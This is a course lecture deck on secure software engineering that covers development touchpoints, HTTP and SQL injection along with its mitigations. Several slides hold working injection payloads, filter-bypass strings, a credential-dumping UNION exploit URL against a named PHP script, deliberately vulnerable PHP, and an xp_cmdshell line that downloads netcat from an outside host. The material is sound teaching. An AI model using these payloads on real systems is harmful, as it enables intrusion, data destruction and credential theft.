Secure Software Engineering

1. Secure Software Engineering James Walden Northern Kentucky University

2. Course Information Prerequisites CSC 540, CSC 582 Web Site http://faculty.cs.nku.edu/~waldenj/classes/2012/fall/csc666/ Textbooks Software Security, Gary McGraw, Addison-Wesley, 2006. Secure Programming with Static Analysis, Brian Chess and Jacob West, Addison-Wesley, 2007. CSC 666: Secure Software Engineering

3. Assignment Policy Available on web page. Your responsibility to check for announcements. Types of assignments Individual programming/assessment assignments. Group programming/assessment assignments. Late policy 20% penalty up to one week late 0 points given after one week late CSC 666: Secure Software Engineering

4. Topics • The Software Security Problem • Processes and Touchpoints • Web Application Vulnerabilities • An Example Bug: SQL Injection CSC 666: Secure Software Engineering

5. Traditional Security is Reactive • Perimeter defense (firewalls) • Intrusion detection • Over-reliance on cryptography • Penetrate and patch • Penetration testing CSC 666: Secure Software Engineering

6. The Problem is Software “75% of hacks happen at the application.” - Theresa Lanowitz, Gartner Inc. “92% of reported vulnerabilities are in apps, not networks.” - NIST “64% of developers are not confident in their ability to write secure code.” - Bill Gates CSC 666: Secure Software Engineering

7. 1990s-2006: A Growing Problem CSC 666: Secure Software Engineering

8. 2006-2011: Progress or Not? CSC 666: Secure Software Engineering

9. Motivations CSC 666: Secure Software Engineering

10. Trinity of Trouble Connectivity • Ubquitious Internet; wireless & mobile computing. Complexity • Networked, distributed code that can interact with intermediate caches, ad proxies, etc. Extensibility • Systems evolve in unexpected ways, e.g. web browsers, which support many formats, add-ons, plugins, programming languages, etc. CSC 666: Secure Software Engineering

11. SSE Objectives 1. Dependability: software functions only as intended; • Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software; 3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity; 4. Conformance: to requirements and applicable standards and procedures. CSC 666: Secure Software Engineering

12. Security Standards and Certs • ISO 15408 Common Criteria • PCI Data Security Standard • Requirement 6: Develop and maintain secure systems and applications • SANS GIAC Secure Software Programmer • http://www.sans-ssi.org/ • Many standards indirectly impact SSE • FISMA • SOX CSC 666: Secure Software Engineering

13. Secure Development Processes • CLASP (Comprehensive, Lightweight Application Security Process) • Correctness-by-Construction (formal methods based process from Praxis Critical Systems) • MS SDL (Microsoft Secure Development Lifecycle) • SSE CMM (Secure Software Engineering Capability Maturity Model) • TSP-Secure (Team Software Process for Secure Software Development) • Touchpoints CSC 666: Secure Software Engineering

14. AbuseCases Risk Analysis Code Reviews + Static Analysis Security Testing Penetration Testing Security Operations Requirements Design Coding Testing Maintenance Software Security Practices • Code Reviews • Risk Analysis • Penetration Testing • Security Testing • Abuse Cases • Security Operations CSC 666: Secure Software Engineering

15. Code Reviews Fix implementation bugs, not design flaws. Benefits of code reviews • Find defects sooner in the lifecycle. • Find defects with less effort than testing. • Find different defects than testing. • Educate developers about security flaws. CSC 666: Secure Software Engineering

16. Architectural Risk Analysis Fix design flaws, not implementation bugs. Risk analysis steps • Develop an architecture model. • Identify threats and possible vulnerabilities. • Develop attack scenarios. • Rank risks based on probability and impact. • Develop mitigation strategy. • Report findings CSC 666: Secure Software Engineering

17. Penetration Testing Test software in deployed environment. Allocate time at end of development to test. • Often time-boxed: test for n days. • Schedule slips often reduce testing time. • Fixing flaws is expensive late in lifecycle. Penetration testing tools • Test common vulnerability types against inputs. • Fuzzing: send random data to inputs. • Don’t understand application structure or purpose. CSC 666: Secure Software Engineering

18. Security Testing Injection flaws, buffer overflows, XSS, etc. Functional testing will find missing functionality. Intendended Functionality Actual Functionality CSC 666: Secure Software Engineering

19. Security Testing Two types of testing Functional: verify security mechanisms. Adversarial: verify resistance to attacks generated during risk analysis. Different from traditional penetration testing • White box. • Use risk analysis to build tests. • Measure security against risk model. CSC 666: Secure Software Engineering

20. Abuse Cases Anti-requirements Think about what software should not do. A use case from an adversary’s point of view. • Obtain Another User’s CC Data. • Alter Item Price. • Deny Service to Application. Developing abuse cases Informed brainstorming: attack patterns, risks. CSC 666: Secure Software Engineering

21. Security Operations User security notes • Software should be secure by default. • Enabling certain features may have risks. • User needs to be informed of security risks. Incident response • What happens when a vulnerability is reported? • How do you communicate with users? • How do you send updates to users? CSC 666: Secure Software Engineering

22. Web Application Vulnerabilities Input-based Security Problems • Injection Flaws • Insecure Remote File Inclusion • Unvalidated Input Authentication and Authorization • Authentication • Access Control • Cross-Site Scripting Other Bugs • Error Handling and Information Leakage • Insecure Storage • Insecure Communications CSC 666: Secure Software Engineering

23. HTTP: HyperText Transfer Protocol Simple request/response protocol • Request methods: GET, POST, HEAD, etc. • Stateless: req#2 doesn’t know about req#1 HTTPS • HTTP wrapped in SSL/TLS encryption • Protects data in transit to web server. • Doesn’t protect stored data. • Doesn’t protect server from being hacked. CSC 666: Secure Software Engineering

24. HTTP Request GET http://www.google.com/ HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7 Accept: text/html, image/png, */* Accept-Language: en-us,en;q=0.5 Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4 Method URL Protocol Version Headers Blank Line No Data for GET CSC 666: Secure Software Engineering

25. HTTP Response HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html Server: GWS/2.1 Date: Fri, 13 Oct 2006 03:16:30 GMT <HTML> ... (page data) ... </HTML> Protocol Version HTTP Response Code Headers Blank Line Web Page Data CSC 666: Secure Software Engineering

26. HTTP GET Parameters http://ex.com/path/app.cgi?param1=val1&param2=val2 Format • parameter_name=value • Multiple parameters separated by & URI encoding • Encode chars as ISO-Latin hex val: %XY • Special characters must be encoded. • Any character may be encoded. CSC 666: Secure Software Engineering

27. HTTP POST Parameters POST /path/app.cgi HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 32 param1=value1&param2=value2 Format • parameter_name=value • Multiple parameters separated by & URI encoding CSC 666: Secure Software Engineering

28. Cookies HTTP/1.1 200 OK Content-Type: text/html Set-Cookie: Name=Value; path=/; expires=01-Jan-2038 23:59:59UCT GET /path/app.cgi HTTP/1.1 Host: ex.com Cookie: Name=Value Cookie Format • Only sent to URLs that match path, domain. • Sent only via SSL if secure specified. • Expires on date or when browser closed. CSC 666: Secure Software Engineering

29. An Example Bug: Injection • Injection attacks trick an application into including unintended commands in the data send to an interpreter. • Interpreters • Interpret strings as commands. • Ex: SQL, shell (cmd.exe, bash), LDAP, XPath • Key Idea • Input data from the application is executed as code by the interpreter. CSC 666: Secure Software Engineering

30. SQL Injection • App sends form to user. • Attacker submits form with SQL exploit data. • Application builds string with exploit data. • Application sends SQL query to DB. • DB executes query, including exploit, sends data back to application. • Application returns data to user. Attacker ‘ or 1=1-- User Pass Firewall DB Server Web Server CSC 666: Secure Software Engineering

31. SQL Injection in PHP $link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error()); mysql_select_db($DB_DATABASE); $query = "select count(*) from users where username = '$username' and password = '$password'"; $result = mysql_query($query); CSC 666: Secure Software Engineering

32. SQL Injection Attack #1 Unauthorized Access Attempt: password = ’ or 1=1 -- SQL statement becomes: select count(*) from users where username = ‘user’ and password = ‘’ or 1=1 -- Checks if password is empty OR 1=1, which is always true, permitting access. CSC 666: Secure Software Engineering

33. SQL Injection Attack #2 Database Modification Attack: password = foo’; delete from tableuserswhereusernamelike ‘% DB executes two SQL statements: select count(*) from users where username = ‘user’ and password = ‘foo’ delete from tableuserswhereusernamelike ‘%’ CSC 666: Secure Software Engineering

34. Finding SQL Injection Bugs • Submit a single quote as input. • If an error results, app is vulnerable. • If no error, check for any output changes. • Submit two single quotes. • Databases use ’’ to represent literal ’ • If error disappears, app is vulnerable. • Try string or numeric operators. • 2-2 • 81+19 • 49-ASCII(1) • Oracle: ’||’FOO • MS-SQL: ‘+’FOO • MySQL: ’ ’FOO CSC 666: Secure Software Engineering

35. 2008 Mass SQL Injection Attacks • Estimated 1.5 million pages compromised. • Methodology • Identify vulnerable web applications. • Use xp_cmdshell on MS SQL to download tools to compromised MS SQL server. • Use fgdump to obtain Windows credentials. • Install backdoors that periodically contact their command & control servers. • Search for credit cards or brute force passwords. CSC 666: Secure Software Engineering

36. Real Estate Site Hacking Exploit against http://phprealestatescript.com/ www.website.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/* CSC 666: Secure Software Engineering

37. The Problem: String Building Building a SQL command string with user input in any language is dangerous. • Variable interpolation. • String concatenation with variables. • String format functions like sprintf(). • String templating with variable replacement. CSC 666: Secure Software Engineering

38. Mitigating SQL Injection Partially Effective Mitigations Blacklists Stored Procedures Effective Mitigations Whitelists Prepared Queries CSC 666: Secure Software Engineering

39. Ineffective Mitigation: Blacklist Filter out known bad SQL metacharacters, such as single quotes. Problems: • Numeric parameters don’t use quotes. • URL escaped metacharacters. • Unicode encoded metacharacters. • Did you miss any metacharacters? CSC 666: Secure Software Engineering

40. Bypassing Blacklist Filters Different case SeLecT instead of SELECT or select Bypass keyword removal filters SELSELECTECT URL-encoding %53%45%4C%45%43%54 SQL comments SELECT/*foo*/num/*foo*/FROM/**/cc SEL/*foo*/ECT String Building ‘us’||’er’ chr(117)||chr(115)||chr(101)||chr(114) CSC 666: Secure Software Engineering

41. Ineffective Mitigation: Stored Procedures SQL Stored Procedures build strings too: CREATE PROCEDURE dbo.doQuery(@id nchar(128) AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @query RETURN and they can be invoked insecurely with user input: exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’# CSC 666: Secure Software Engineering

42. Mitigation: Whitelist Reject input that doesn’t match your list of safe characters to accept. • Identify what’s good, not what’s bad. • Reject input instead of attempting to repair. • Still have to deal with single quotes when required, such as in names. CSC 666: Secure Software Engineering

43. Mitigation: Prepared Queries require_once 'MDB2.php'; $mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) { die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and password = ?”; $types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data); CSC 666: Secure Software Engineering

44. Key Points • The Problem of Software Security • SSE Goals • Dependability • Trustworthiness • Resilience • Conformance • Touchpoints • Code Reviews • Risk Analysis • Penetration Testing • Security Testing • Abuse Cases • Security Operations CSC 666: Secure Software Engineering

45. References • Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007. • CLASP, OWASP CLASP Project, http://www.owasp.org/index.php/Category:OWASP_CLASP_Project, 2008. • Noopur Davis et. al., Processes for Producing Secure Software. IEEE Security & Privacy, May 2004. • Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008. • Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006. • Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development,” http://www.safecode.org/publications/SAFECode_Dev_Practices1008.pdf, October 2008. • Gary McGraw, Software Security, Addison-Wesley, 2006. CSC 666: Secure Software Engineering